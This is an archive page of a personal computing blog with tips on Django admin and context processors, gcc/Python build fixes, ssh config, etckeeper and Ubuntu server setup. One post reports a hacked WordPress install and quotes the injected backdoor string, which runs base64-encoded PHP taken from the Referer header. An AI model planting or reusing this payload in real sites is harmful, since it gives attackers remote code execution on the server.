Archive for the 'Computing' Category

-image-Extending Django’s user admin

The built in admin pages that you get in Django can be useful, but they particularly become useful once you start to add a lot more functionality to them.

For instance the Django’s User authentication system (which lives in django.contrib.auth ) is widely used, and quite often you need to extend the user’s profile by using AUTH_PROFILE_MODULE and a separate model. But having a separate Admin screen for this is kind of pointless.

In the admin.py file for your model which provides extra information (in my example it is called UserProfile just do the following:

from django.contrib import admin
from django.contrib.auth.admin import UserAdmin
from django.contrib.auth.models import User
from models import UserProfile

class UserProfileInline(admin.TabularInline):
    model = UserProfile
    fk_name = 'user'
    max_num = 1
   
class CustomUserAdmin(UserAdmin):
    inlines = [UserProfileInline,]
    list_display = ('username', 'email', 'first_name', 'last_name', 'is_staff', 'is_active')
   
admin.site.unregister(User)
admin.site.register(User, CustomUserAdmin)

Simple once you know how.


-image-gcc and python

Had an interesting little problem with gcc and python today on OS X 10.6.

Basically I was trying to use graphviz and pygraphviz, and installing from source I got messages like this:

gcc -arch ppc -arch i386 -isysroot /Developer/SDKs/MacOSX10.4u.sdk -fno-strict-aliasing -Wno-long-double -no-cpp-precomp -mno-fused-madd -fno-common -dynamic -DNDEBUG -g -O3 -I/usr/local/include/graphviz -I/Library/Frameworks/Python.framework/Versions/2.5/include/python2.5 -c pygraphviz/graphviz_wrap.c -o build/temp.macosx-10.3-i386-2.5/pygraphviz/graphviz_wrap.o
cc1: error: unrecognized command line option "-Wno-long-double"
cc1: error: unrecognized command line option "-Wno-long-double"
lipo: can't figure out the architecture type of: /var/tmp//ccD4Ow7T.out
error: command '
gcc' failed with exit status 1

This pointed to two problems I found:

  1. MacOSX10.4u.sdk being used
  2. “-Wno-long-double” being passed to gcc

Obviously I am on 10.6 and even though I do have that SDK installed it is the incorrect version. On some Xcode installations you won’t have it.

The remedy was to change the following file:

/Library/Frameworks/Python.framework/Versions/Current/lib/python2.5/config/Makefile

After backing up change all the instances of MacOSX10.4u.sdk to MacOSX10.6.sdk and then remove the flag -Wno-long-double

Then you should be able to compile from a normal python setup. For good measure I test easy_install as well and that worked smoothly..


-image-How do we kick our synchronous addiction?

How do we kick our synchronous addiction?

Really interesting post. Pity I don’t have the time to discuss it in more depth – too busying developing!


-image-Django settings in template

So what do you do if you require a django setting in your templates, much like we have MEDIA_URL today?

Well there are use cases for this, (if you are in doubt have a look at the original ticket for adding MEDIA_URL to django ).

The easiest way that I have found so far is to write a context processor. For example in my settings I might have JAVASCRIPT_URL (which in my real life code changes depending on whether I am running in debug, test or from a CDN):

JAVASCRIPT_URL = 'http://myjshost.com'

Now from here I would like to make this available in my templates. Create a new python file that is somewhere on your python path (Under my project, I create a utils directory and then put a file context_processors.py in there. Don’t forget __init__.py should live in that directory as well).

In the context_processors.py file simply put

def javascript_url(request):
    from django.conf import settings
    return {'JAVASCRIPT_URL': settings.JAVASCRIPT_URL}

In your settings.py file you might already have a reference to TEMPLATE_CONTEXT_PROCESSORS if not then add it like so:

from django.conf.global_settings import TEMPLATE_CONTEXT_PROCESSORS
TEMPLATE_CONTEXT_PROCESSORS += (
     'django.core.context_processors.request',
     'django.core.context_processors.i18n',
     'appname.utils.context_processors.javascript_url',
)

And thats about it. From there on in you will be able to use JAVASCRIPT_URL like MEDIA_URL:

{{ JAVASCRIPT_URL }}

-image-is that an iPhone or a MiniMac?

is that an iPhone or a MiniMac?: “



Love it.

(Via swissmiss.)


-image-NewNewsWire

I have posted about NetNewsWire many times on here before. Its been my favourite news reading application for a couple of years now (if not more) but recent development has severally hampered the usability of the software.

It seemed to be when they changed it to support sync to Google Reader – not a bad idea by any means, but releasing the software before it was full tested and working was a huge mistake. Trying to push it to people before it was ready was an even bigger mistake.

Now twitter & fb are full of messages about problems with the Mac OSX and iPhone version, and it really needs to be sorted out. I know its free now, but as I have said before I paid for it a long time ago and it worked, if its a question of money then release it as a paid version. Not too expensive ( VersionsApp – take note ) but working.

Do not recommend it at the moment, which is such a pity as it used to be one of my favourite applications.


-image-Hacked WordPress

After posting up the last entry about SSH I noticed that I had a problem with my Permalinks. Seems that there is some nasty little injection problem with WordPress that changes the Permalinks with the addition of.

 &({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&

I am following the suggestions here:

http://blog.4rev.net/2009-09/wordpress-hacked-eval-base64_decode-_serverhttp_referer/

And it seemed to work.


-image-The beauty of the ssh config file

This is a tip that I have used on OS X and on Linux, which I presume works on other *nix and BSDs using SSH.

Basically in the .ssh folder in your home directory you can create a file called config with which you can put all sorts of configuration information for your ssh client but the real benefit for me was to use this to give extra information to hosts such as defining a different port number to connect on. For instance:

Host myservername
        User myuser
        Port 22222

This means that instead of typing:

ssh -p 22222 myuser@myservername

I can type:

ssh myservername

No need for nasty aliases in the shell or anything like that. This also works for the sshfs program on the Mac that makes use of MacFuse. Yes that’s right you can use different ports with SSHfs.

You can also change a much wider range of parameters than I have shown here, but often its probably better to introduce them on the server. But here is an example and have a look under the options flag in the Man page for SSH

Compression yes
CompressionLevel 9
FallBackToRsh yes
KeepAlive no

-image-etckeeper

I have been looking for a good way of keeping track of changes to /etc and with Ubuntu 9.04 Server I see that they have rolled in support for etckeeper (using bzr as the default).

This little util allows the use of version control (bzr, hg or git) to track changes to /etc and with the Ubuntu version integrates with apt and dpkg so that new package installs are tracked.

To install just install the following, it will take care of the dependancies:

sudo apt-get install etckeeper

The Initialize the repository:

sudo etckeeper init

And do a commit of the files to the repository.

sudo etckeeper commit "initial import"

After each change to file(s) in /etc

sudo etckeeper commit "comment on my commit"

Now I just have to back up the files from the repository for a good way of rolling back and forth between versions. Probably onto a USB key


-image-Ubuntu 9.04 server at home

Over the past week or so (slowed down by the damn flu) I have been building a new server for home. Its going to have the following duties:

  • Backup server (with Apple Time Machine)
  • File server
  • NNTP server
  • iTunes server
  • Database server (mainly PostgreSQL)
  • VMWare server

The hardware is mounted in rackmount chassis with space for 12 drives, 6 of which will be populated straight away, has a 64bit processor and will have 3Gb of RAM (The maximum on this old hardware).

I have installed Ubuntu 9.04 Server edition on it, and I must say that it went very smoothly except for the fact that Python 2.5 on Ubuntu 9.04 is a pain, often breaking. Here are some useful commands:

Having two installations of different version of python and switching between them:

sudo apt-get install python2.5 idle-python2.5
sudo update-alternatives --install /usr/bin/python python /usr/bin/python2.6 1
sudo update-alternatives --install /usr/bin/python python /usr/bin/python2.5 10
sudo update-alternatives --config python

To undo:

sudo update-alternatives --remove-all python
sudo ln -s python2.6 /usr/bin/python

To force a change of version:

sudo rm /usr/bin/python && sudo ln -s python2.5 /usr/bin/python

Then this will be the main server in the house, with lightweight front ends (This will have over 4Tb of RAID with expandability to 12TB). My old book will retire until I think of a good use for its out of date hardware.